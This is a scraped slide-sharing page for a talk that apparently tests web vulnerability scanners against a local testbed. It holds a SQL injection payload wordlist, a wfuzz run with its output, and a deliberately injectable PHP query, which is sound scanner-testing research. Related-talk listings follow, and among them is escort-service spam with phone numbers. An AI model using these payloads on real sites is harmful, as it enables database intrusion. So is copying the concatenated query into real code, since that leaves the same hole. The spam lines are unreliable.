' and '2'='2 
' and '2'='0 
' or '2'='2 
/*ora_mysql*/and/**/2=2 
/*ora_mysql*/and/**/2=0 
'/*ora_mysql*/and/**/'2'='2 
'/*ora_mysql*/and/**/'2'='0 
'/*ora_mysql*/or/**/'2'='2 
and 2=2#mysql 
and 2=0#mysql 
and 2=2-- oracle_mysql 
and 2=0-- oracle_mysql 
' and '2'='2'#mysql 
' and '2'='0'#mysql 
' and '2'='2'-- oracle 
' and '2'='0'-- oracle 
' 
999999999999999999 
1e100 
2 or 2=2 
2' or '2'='2 
order by 1-- 
admin'-- 
admin' 
'test 
'test-- 
' or 1=1-- 
or 1=1-- 
or 1=1 
or 1=1# 
" or 1=1# 
admin'# 
now() 
wfuzz/blob/master/wordlist/vulns/sql_inj.txt
wfuzz - results 
dobin@unreal:~/Hacking/wfuzz$ python wfuzz.py -c -z file,wordlist/vulns/sql_inj.txt http://localhost/SentinelTestbed/sentinel-sql3. 
php?vulnparam=rootFUZZ 
ID Response Lines Word Chars Request 
================================================================== 
00000: C=200 105 L 269 W 3988 Ch "'" 
00002: C=200 105 L 269 W 3988 Ch "--ora_sqls" 
00003: C=200 105 L 272 W 4009 Ch "#mysql" 
00004: C=200 105 L 269 W 3988 Ch "'#mysql" 
00013: C=200 105 L 269 W 3988 Ch "' and '2'='0" 
00015: C=200 105 L 269 W 3988 Ch "' and '2'='2" 
00016: C=200 105 L 269 W 3988 Ch "' or '2'='2" 
00017: C=200 105 L 272 W 4009 Ch "'/*ora_mysql*/and/**/'2'='2" 
00018: C=200 105 L 269 W 3988 Ch "/*ora_mysql*/and/**/2=0" 
00031: C=200 105 L 269 W 3988 Ch "' or 1=1--" 
00032: C=200 105 L 272 W 4009 Ch "" 
00033: C=200 105 L 269 W 3988 Ch "or 1=1--"
Results of Sentinel Testbed Scans
Difficulty 1: Brackets and AND 
$result = $file_db->query(" 
SELECT id FROM users WHERE (name=' " . $var_param . " ' AND id >= 0)" 
); 
ZAP:
Difficulty 2: Non-static responses

More Related Content

What's hot

#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015Matt Raible
ย 
Silent web app testing by example - BerlinSides 2011
Silent web app testing by example - BerlinSides 2011Silent web app testing by example - BerlinSides 2011
Silent web app testing by example - BerlinSides 2011Abraham Aranguren
ย 
SQL-RISC: New Directions in SQLi Prevention - RSA USA 2013
SQL-RISC: New Directions in SQLi Prevention - RSA USA 2013SQL-RISC: New Directions in SQLi Prevention - RSA USA 2013
SQL-RISC: New Directions in SQLi Prevention - RSA USA 2013Nick Galbreath
ย 
Securing Rails
Securing RailsSecuring Rails
Securing RailsAlex Payne
ย 
Server-side template injection- Slides
Server-side template injection- Slides Server-side template injection- Slides
Server-side template injection- Slides Amit Dubey
ย 
OWASP Zed Attack Proxy
OWASP Zed Attack ProxyOWASP Zed Attack Proxy
OWASP Zed Attack ProxyFadi Abdulwahab
ย 
libinjection: a C library for SQLi detection, from Black Hat USA 2012
libinjection: a C library for SQLi detection, from Black Hat USA 2012libinjection: a C library for SQLi detection, from Black Hat USA 2012
libinjection: a C library for SQLi detection, from Black Hat USA 2012Nick Galbreath
ย 
libinjection: new technique in detecting SQLi attacks, iSEC Partners Open Forum
libinjection: new technique in detecting SQLi attacks, iSEC Partners Open Forumlibinjection: new technique in detecting SQLi attacks, iSEC Partners Open Forum
libinjection: new technique in detecting SQLi attacks, iSEC Partners Open ForumNick Galbreath
ย 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraMathias Karlsson
ย 
Web2.0 : an introduction
Web2.0 : an introductionWeb2.0 : an introduction
Web2.0 : an introductionAnant Shrivastava
ย 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersLewis Ardern
ย 
Owasp tds
Owasp tdsOwasp tds
Owasp tdssnyff
ย 
You can detect PowerShell attacks
You can detect PowerShell attacksYou can detect PowerShell attacks
You can detect PowerShell attacksMichael Gough
ย 
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers Lewis Ardern
ย 
Logical Attacks(Vulnerability Research)
Logical Attacks(Vulnerability Research)Logical Attacks(Vulnerability Research)
Logical Attacks(Vulnerability Research)Ajay Negi
ย 
Ruxmon feb 2013 what happened to rails
Ruxmon feb 2013   what happened to railsRuxmon feb 2013   what happened to rails
Ruxmon feb 2013 what happened to railssnyff
ย 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...bugcrowd
ย 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxMathias Karlsson
ย 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodologybugcrowd
ย 
The Hacker's Guide To Session Hijacking
The Hacker's Guide To Session HijackingThe Hacker's Guide To Session Hijacking
The Hacker's Guide To Session HijackingPatrycja Wegrzynowicz
ย 

What's hot (20)

#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
ย 
Silent web app testing by example - BerlinSides 2011
Silent web app testing by example - BerlinSides 2011Silent web app testing by example - BerlinSides 2011
Silent web app testing by example - BerlinSides 2011
ย 
SQL-RISC: New Directions in SQLi Prevention - RSA USA 2013
SQL-RISC: New Directions in SQLi Prevention - RSA USA 2013SQL-RISC: New Directions in SQLi Prevention - RSA USA 2013
SQL-RISC: New Directions in SQLi Prevention - RSA USA 2013
ย 
Securing Rails
Securing RailsSecuring Rails
Securing Rails
ย 
Server-side template injection- Slides
Server-side template injection- Slides Server-side template injection- Slides
Server-side template injection- Slides
ย 
OWASP Zed Attack Proxy
OWASP Zed Attack ProxyOWASP Zed Attack Proxy
OWASP Zed Attack Proxy
ย 
libinjection: a C library for SQLi detection, from Black Hat USA 2012
libinjection: a C library for SQLi detection, from Black Hat USA 2012libinjection: a C library for SQLi detection, from Black Hat USA 2012
libinjection: a C library for SQLi detection, from Black Hat USA 2012
ย 
libinjection: new technique in detecting SQLi attacks, iSEC Partners Open Forum
libinjection: new technique in detecting SQLi attacks, iSEC Partners Open Forumlibinjection: new technique in detecting SQLi attacks, iSEC Partners Open Forum
libinjection: new technique in detecting SQLi attacks, iSEC Partners Open Forum
ย 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
ย 
Web2.0 : an introduction
Web2.0 : an introductionWeb2.0 : an introduction
Web2.0 : an introduction
ย 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
ย 
Owasp tds
Owasp tdsOwasp tds
Owasp tds
ย 
You can detect PowerShell attacks
You can detect PowerShell attacksYou can detect PowerShell attacks
You can detect PowerShell attacks
ย 
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
ย 
Logical Attacks(Vulnerability Research)
Logical Attacks(Vulnerability Research)Logical Attacks(Vulnerability Research)
Logical Attacks(Vulnerability Research)
ย 
Ruxmon feb 2013 what happened to rails
Ruxmon feb 2013   what happened to railsRuxmon feb 2013   what happened to rails
Ruxmon feb 2013 what happened to rails
ย 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
ย 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandbox
ย 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
ย 
The Hacker's Guide To Session Hijacking
The Hacker's Guide To Session HijackingThe Hacker's Guide To Session Hijacking
The Hacker's Guide To Session Hijacking
ย 

Similar to Bsidesvienna sentinel v0.4

Oleh Shpyrna "Security Testing Basics: Check your Webapp for gaps before l_unch"
Oleh Shpyrna "Security Testing Basics: Check your Webapp for gaps before l_unch"Oleh Shpyrna "Security Testing Basics: Check your Webapp for gaps before l_unch"
Oleh Shpyrna "Security Testing Basics: Check your Webapp for gaps before l_unch"Dakiry
ย 
Security on Rails
Security on RailsSecurity on Rails
Security on RailsDavid Paluy
ย 
Hunting Security Bugs in Modern Web Applications
Hunting Security Bugs in Modern Web ApplicationsHunting Security Bugs in Modern Web Applications
Hunting Security Bugs in Modern Web ApplicationsToe Khaing
ย 
Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)ColdFusionConference
ย 
My tryst with sourcecode review
My tryst with sourcecode reviewMy tryst with sourcecode review
My tryst with sourcecode reviewAnant Shrivastava
ย 
Federico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdfFederico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdfQA or the Highway
ย 
Effective DevSecOps
Effective DevSecOpsEffective DevSecOps
Effective DevSecOpsPawel Krawczyk
ย 
Monitoring Big Data Systems Done "The Simple Way" - Demi Ben-Ari - Codemotion...
Monitoring Big Data Systems Done "The Simple Way" - Demi Ben-Ari - Codemotion...Monitoring Big Data Systems Done "The Simple Way" - Demi Ben-Ari - Codemotion...
Monitoring Big Data Systems Done "The Simple Way" - Demi Ben-Ari - Codemotion...Codemotion
ย 
Monitoring Big Data Systems "Done the simple way" - Demi Ben-Ari - Codemotion...
Monitoring Big Data Systems "Done the simple way" - Demi Ben-Ari - Codemotion...Monitoring Big Data Systems "Done the simple way" - Demi Ben-Ari - Codemotion...
Monitoring Big Data Systems "Done the simple way" - Demi Ben-Ari - Codemotion...Demi Ben-Ari
ย 
Peeling the Onion: Making Sense of the Layers of API Security
Peeling the Onion: Making Sense of the Layers of API SecurityPeeling the Onion: Making Sense of the Layers of API Security
Peeling the Onion: Making Sense of the Layers of API SecurityMatt Tesauro
ย 
Reliable mobile test automation
Reliable mobile test automationReliable mobile test automation
Reliable mobile test automationVishal Banthia
ย 
ITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJSITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJSOrtus Solutions, Corp
ย 
PuppetConf 2016: Watching the Puppet Show โ€“ Sean Porter, Heavy Water Operations
PuppetConf 2016: Watching the Puppet Show โ€“ Sean Porter, Heavy Water OperationsPuppetConf 2016: Watching the Puppet Show โ€“ Sean Porter, Heavy Water Operations
PuppetConf 2016: Watching the Puppet Show โ€“ Sean Porter, Heavy Water OperationsPuppet
ย 
Hack The Future: 10 technical disciplines
Hack The Future: 10 technical disciplinesHack The Future: 10 technical disciplines
Hack The Future: 10 technical disciplinesHack The Future
ย 
Fuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox TestingFuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox TestingNetSPI
ย 
Monitoring Big Data Systems Done "The Simple Way" - Codemotion Milan 2017 - D...
Monitoring Big Data Systems Done "The Simple Way" - Codemotion Milan 2017 - D...Monitoring Big Data Systems Done "The Simple Way" - Codemotion Milan 2017 - D...
Monitoring Big Data Systems Done "The Simple Way" - Codemotion Milan 2017 - D...Demi Ben-Ari
ย 
Demi Ben-Ari - Monitoring Big Data Systems Done "The Simple Way" - Codemotion...
Demi Ben-Ari - Monitoring Big Data Systems Done "The Simple Way" - Codemotion...Demi Ben-Ari - Monitoring Big Data Systems Done "The Simple Way" - Codemotion...
Demi Ben-Ari - Monitoring Big Data Systems Done "The Simple Way" - Codemotion...Codemotion
ย 
Free django
Free djangoFree django
Free djangoEugen Oskin
ย 
Good practices for debugging Selenium and Appium tests
Good practices for debugging Selenium and Appium testsGood practices for debugging Selenium and Appium tests
Good practices for debugging Selenium and Appium testsAbhijeet Vaikar
ย 

Similar to Bsidesvienna sentinel v0.4 (20)

Oleh Shpyrna "Security Testing Basics: Check your Webapp for gaps before l_unch"
Oleh Shpyrna "Security Testing Basics: Check your Webapp for gaps before l_unch"Oleh Shpyrna "Security Testing Basics: Check your Webapp for gaps before l_unch"
Oleh Shpyrna "Security Testing Basics: Check your Webapp for gaps before l_unch"
ย 
Security on Rails
Security on RailsSecurity on Rails
Security on Rails
ย 
Hunting Security Bugs in Modern Web Applications
Hunting Security Bugs in Modern Web ApplicationsHunting Security Bugs in Modern Web Applications
Hunting Security Bugs in Modern Web Applications
ย 
Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)
ย 
My tryst with sourcecode review
My tryst with sourcecode reviewMy tryst with sourcecode review
My tryst with sourcecode review
ย 
Federico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdfFederico Toledo - Extra-functional testing.pdf
Federico Toledo - Extra-functional testing.pdf
ย 
Effective DevSecOps
Effective DevSecOpsEffective DevSecOps
Effective DevSecOps
ย 
Monitoring Big Data Systems Done "The Simple Way" - Demi Ben-Ari - Codemotion...
Monitoring Big Data Systems Done "The Simple Way" - Demi Ben-Ari - Codemotion...Monitoring Big Data Systems Done "The Simple Way" - Demi Ben-Ari - Codemotion...
Monitoring Big Data Systems Done "The Simple Way" - Demi Ben-Ari - Codemotion...
ย 
Monitoring Big Data Systems "Done the simple way" - Demi Ben-Ari - Codemotion...
Monitoring Big Data Systems "Done the simple way" - Demi Ben-Ari - Codemotion...Monitoring Big Data Systems "Done the simple way" - Demi Ben-Ari - Codemotion...
Monitoring Big Data Systems "Done the simple way" - Demi Ben-Ari - Codemotion...
ย 
Peeling the Onion: Making Sense of the Layers of API Security
Peeling the Onion: Making Sense of the Layers of API SecurityPeeling the Onion: Making Sense of the Layers of API Security
Peeling the Onion: Making Sense of the Layers of API Security
ย 
Reliable mobile test automation
Reliable mobile test automationReliable mobile test automation
Reliable mobile test automation
ย 
ITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJSITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJS
ย 
PuppetConf 2016: Watching the Puppet Show โ€“ Sean Porter, Heavy Water Operations
PuppetConf 2016: Watching the Puppet Show โ€“ Sean Porter, Heavy Water OperationsPuppetConf 2016: Watching the Puppet Show โ€“ Sean Porter, Heavy Water Operations
PuppetConf 2016: Watching the Puppet Show โ€“ Sean Porter, Heavy Water Operations
ย 
Hack The Future: 10 technical disciplines
Hack The Future: 10 technical disciplinesHack The Future: 10 technical disciplines
Hack The Future: 10 technical disciplines
ย 
Fuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox TestingFuzzing and You: Automating Whitebox Testing
Fuzzing and You: Automating Whitebox Testing
ย 
Monitoring Big Data Systems Done "The Simple Way" - Codemotion Milan 2017 - D...
Monitoring Big Data Systems Done "The Simple Way" - Codemotion Milan 2017 - D...Monitoring Big Data Systems Done "The Simple Way" - Codemotion Milan 2017 - D...
Monitoring Big Data Systems Done "The Simple Way" - Codemotion Milan 2017 - D...
ย 
Demi Ben-Ari - Monitoring Big Data Systems Done "The Simple Way" - Codemotion...
Demi Ben-Ari - Monitoring Big Data Systems Done "The Simple Way" - Codemotion...Demi Ben-Ari - Monitoring Big Data Systems Done "The Simple Way" - Codemotion...
Demi Ben-Ari - Monitoring Big Data Systems Done "The Simple Way" - Codemotion...
ย 
Simple web security
Simple web securitySimple web security
Simple web security
ย 
Free django
Free djangoFree django
Free django
ย 
Good practices for debugging Selenium and Appium tests
Good practices for debugging Selenium and Appium testsGood practices for debugging Selenium and Appium tests
Good practices for debugging Selenium and Appium tests
ย 

Recently uploaded

APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC
ย 
โžฅ๐Ÿ” 7737669865 ๐Ÿ”โ–ป mehsana Call-girls in Women Seeking Men ๐Ÿ”mehsana๐Ÿ” Escorts...
โžฅ๐Ÿ” 7737669865 ๐Ÿ”โ–ป mehsana Call-girls in Women Seeking Men  ๐Ÿ”mehsana๐Ÿ”   Escorts...โžฅ๐Ÿ” 7737669865 ๐Ÿ”โ–ป mehsana Call-girls in Women Seeking Men  ๐Ÿ”mehsana๐Ÿ”   Escorts...
โžฅ๐Ÿ” 7737669865 ๐Ÿ”โ–ป mehsana Call-girls in Women Seeking Men ๐Ÿ”mehsana๐Ÿ” Escorts...nirzagarg
ย 
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdfMatthew Sinclair
ย 
๐“€คCall On 7877925207 ๐“€ค Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
๐“€คCall On 7877925207 ๐“€ค Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...๐“€คCall On 7877925207 ๐“€ค Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
๐“€คCall On 7877925207 ๐“€ค Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...Neha Pandey
ย 
ๅœจ็บฟๅˆถไฝœ็บฆๅ…‹ๅคงๅญฆๆฏ•ไธš่ฏ๏ผˆyuๆฏ•ไธš่ฏ๏ผ‰ๅœจ่ฏป่ฏๆ˜Ž่ฎค่ฏๅฏๆŸฅ
ๅœจ็บฟๅˆถไฝœ็บฆๅ…‹ๅคงๅญฆๆฏ•ไธš่ฏ๏ผˆyuๆฏ•ไธš่ฏ๏ผ‰ๅœจ่ฏป่ฏๆ˜Ž่ฎค่ฏๅฏๆŸฅๅœจ็บฟๅˆถไฝœ็บฆๅ…‹ๅคงๅญฆๆฏ•ไธš่ฏ๏ผˆyuๆฏ•ไธš่ฏ๏ผ‰ๅœจ่ฏป่ฏๆ˜Ž่ฎค่ฏๅฏๆŸฅ
ๅœจ็บฟๅˆถไฝœ็บฆๅ…‹ๅคงๅญฆๆฏ•ไธš่ฏ๏ผˆyuๆฏ•ไธš่ฏ๏ผ‰ๅœจ่ฏป่ฏๆ˜Ž่ฎค่ฏๅฏๆŸฅydyuyu
ย 
Lucknow โคCALL GIRL 88759*99948 โคCALL GIRLS IN Lucknow ESCORT SERVICEโคCALL GIRL
Lucknow โคCALL GIRL 88759*99948 โคCALL GIRLS IN Lucknow ESCORT SERVICEโคCALL GIRLLucknow โคCALL GIRL 88759*99948 โคCALL GIRLS IN Lucknow ESCORT SERVICEโคCALL GIRL
Lucknow โคCALL GIRL 88759*99948 โคCALL GIRLS IN Lucknow ESCORT SERVICEโคCALL GIRLimonikaupta
ย 
20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdf20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdfMatthew Sinclair
ย 
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...SUHANI PANDEY
ย 
Hireโ† Young Call Girls in Tilak nagar (Delhi) โ˜Ž๏ธ 9205541914 โ˜Ž๏ธ Independent Esc...
Hireโ† Young Call Girls in Tilak nagar (Delhi) โ˜Ž๏ธ 9205541914 โ˜Ž๏ธ Independent Esc...Hireโ† Young Call Girls in Tilak nagar (Delhi) โ˜Ž๏ธ 9205541914 โ˜Ž๏ธ Independent Esc...
Hireโ† Young Call Girls in Tilak nagar (Delhi) โ˜Ž๏ธ 9205541914 โ˜Ž๏ธ Independent Esc...Delhi Call girls
ย 
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls DubaiDubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubaikojalkojal131
ย 
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...SUHANI PANDEY
ย 
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
2nd Solid Symposium: Solid Pods vs Personal Knowledge GraphsEleniIlkou
ย 
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfpdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfJOHNBEBONYAP1
ย 
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrStory Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrHenryBriggs2
ย 
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Bookingdharasingh5698
ย 
WhatsApp ๐Ÿ“ž 8448380779 โœ…Call Girls In Mamura Sector 66 ( Noida)
WhatsApp ๐Ÿ“ž 8448380779 โœ…Call Girls In Mamura Sector 66 ( Noida)WhatsApp ๐Ÿ“ž 8448380779 โœ…Call Girls In Mamura Sector 66 ( Noida)
WhatsApp ๐Ÿ“ž 8448380779 โœ…Call Girls In Mamura Sector 66 ( Noida)Delhi Call girls
ย 
Busty DesiโšกCall Girls in Vasundhara Ghaziabad >เผ’8448380779 Escort Service
Busty DesiโšกCall Girls in Vasundhara Ghaziabad >เผ’8448380779 Escort ServiceBusty DesiโšกCall Girls in Vasundhara Ghaziabad >เผ’8448380779 Escort Service
Busty DesiโšกCall Girls in Vasundhara Ghaziabad >เผ’8448380779 Escort ServiceDelhi Call girls
ย 
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...tanu pandey
ย 

Recently uploaded (20)

APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
ย 
โžฅ๐Ÿ” 7737669865 ๐Ÿ”โ–ป mehsana Call-girls in Women Seeking Men ๐Ÿ”mehsana๐Ÿ” Escorts...
โžฅ๐Ÿ” 7737669865 ๐Ÿ”โ–ป mehsana Call-girls in Women Seeking Men  ๐Ÿ”mehsana๐Ÿ”   Escorts...โžฅ๐Ÿ” 7737669865 ๐Ÿ”โ–ป mehsana Call-girls in Women Seeking Men  ๐Ÿ”mehsana๐Ÿ”   Escorts...
โžฅ๐Ÿ” 7737669865 ๐Ÿ”โ–ป mehsana Call-girls in Women Seeking Men ๐Ÿ”mehsana๐Ÿ” Escorts...
ย 
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
ย 
๐“€คCall On 7877925207 ๐“€ค Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
๐“€คCall On 7877925207 ๐“€ค Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...๐“€คCall On 7877925207 ๐“€ค Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
๐“€คCall On 7877925207 ๐“€ค Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
ย 
(INDIRA) Call Girl Pune Call Now 8250077686 Pune Escorts 24x7
(INDIRA) Call Girl Pune Call Now 8250077686 Pune Escorts 24x7(INDIRA) Call Girl Pune Call Now 8250077686 Pune Escorts 24x7
(INDIRA) Call Girl Pune Call Now 8250077686 Pune Escorts 24x7
ย 
ๅœจ็บฟๅˆถไฝœ็บฆๅ…‹ๅคงๅญฆๆฏ•ไธš่ฏ๏ผˆyuๆฏ•ไธš่ฏ๏ผ‰ๅœจ่ฏป่ฏๆ˜Ž่ฎค่ฏๅฏๆŸฅ
ๅœจ็บฟๅˆถไฝœ็บฆๅ…‹ๅคงๅญฆๆฏ•ไธš่ฏ๏ผˆyuๆฏ•ไธš่ฏ๏ผ‰ๅœจ่ฏป่ฏๆ˜Ž่ฎค่ฏๅฏๆŸฅๅœจ็บฟๅˆถไฝœ็บฆๅ…‹ๅคงๅญฆๆฏ•ไธš่ฏ๏ผˆyuๆฏ•ไธš่ฏ๏ผ‰ๅœจ่ฏป่ฏๆ˜Ž่ฎค่ฏๅฏๆŸฅ
ๅœจ็บฟๅˆถไฝœ็บฆๅ…‹ๅคงๅญฆๆฏ•ไธš่ฏ๏ผˆyuๆฏ•ไธš่ฏ๏ผ‰ๅœจ่ฏป่ฏๆ˜Ž่ฎค่ฏๅฏๆŸฅ
ย 
Lucknow โคCALL GIRL 88759*99948 โคCALL GIRLS IN Lucknow ESCORT SERVICEโคCALL GIRL
Lucknow โคCALL GIRL 88759*99948 โคCALL GIRLS IN Lucknow ESCORT SERVICEโคCALL GIRLLucknow โคCALL GIRL 88759*99948 โคCALL GIRLS IN Lucknow ESCORT SERVICEโคCALL GIRL
Lucknow โคCALL GIRL 88759*99948 โคCALL GIRLS IN Lucknow ESCORT SERVICEโคCALL GIRL
ย 
20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdf20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdf
ย 
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
ย 
Hireโ† Young Call Girls in Tilak nagar (Delhi) โ˜Ž๏ธ 9205541914 โ˜Ž๏ธ Independent Esc...
Hireโ† Young Call Girls in Tilak nagar (Delhi) โ˜Ž๏ธ 9205541914 โ˜Ž๏ธ Independent Esc...Hireโ† Young Call Girls in Tilak nagar (Delhi) โ˜Ž๏ธ 9205541914 โ˜Ž๏ธ Independent Esc...
Hireโ† Young Call Girls in Tilak nagar (Delhi) โ˜Ž๏ธ 9205541914 โ˜Ž๏ธ Independent Esc...
ย 
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls DubaiDubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
ย 
